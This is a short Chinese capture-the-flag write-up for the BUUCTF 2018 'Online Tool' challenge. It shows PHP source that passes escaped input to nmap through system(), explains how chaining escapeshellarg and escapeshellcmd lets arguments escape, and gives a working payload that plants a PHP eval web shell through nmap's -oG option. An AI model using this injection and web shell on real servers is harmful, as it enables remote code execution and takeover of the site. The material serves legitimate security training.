[BUUCTF 2018]Online Tool
知识点
- 参数逃逸
- nmap写文件
源代码如下
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
REMOTE_ADDR和HTTP_X_FORWARDED_FOR是服务器获取ip用的,此处无用。
escapeshellarg()和escapeshellcmd()函数连用会存在参数逃逸,参照
http://www.lmxspace.com/2018/07/16/谈谈escapeshellarg参数绕过和注入的问题/
再看
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
此处使用system函数,应该可以进行命令执行,nmap参数中 -oG可以进行文件写入,此处我们写入一句话木马,最后payload为
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
得到
hack.php文件应该是上传到这个文件夹中了,使用菜刀连接即可在根目录处找到flag